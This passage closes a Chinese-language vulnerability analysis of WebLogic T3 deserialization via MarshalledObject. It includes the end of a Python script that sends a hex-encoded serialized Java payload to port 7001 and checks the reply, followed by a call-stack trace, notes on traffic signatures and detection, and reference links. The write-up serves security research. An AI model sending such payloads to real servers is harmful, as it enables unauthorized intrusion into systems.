e6c616e672e4f766572726964650000000000000000000000787071007e003a78'                # ------------------------------------------------------        payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'        payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)        sock.send(bytes.fromhex(payload))        time.sleep(delay)        try:            res = sock.recv(4096)            print(res)            return b'org.apache.commons.collections.functors.InvokerTransformer' in res, {'msg': 'finish.'}        except socket.timeout:            return False, {'msg': 'connection timeout.'}
if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    light_up(dip=ip,dport=port)

同样跟一下代码：

readResolve:58, MarshalledObject (weblogic.corba.utils)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:601, Method (java.lang.reflect)invokeReadResolve:1091, ObjectStreamClass (java.io)readOrdinaryObject:1805, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)

一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：

流量特征上，出现的类变为weblogic.corba.utils.MarshalledObject，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了org.apache.commons.collections.functors.InvokerTransformer


后记

Extractor导致的漏洞放在下一篇。


参考文章：

https://xz.aliyun.com/t/10365#toc-6

https://xz.aliyun.com/t/10563#toc-10

https://www.anquanke.com/post/id/226070#h2-15

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

http://wjlshare.com/archives/1573

https://tttang.com/archive/1768/#toc_



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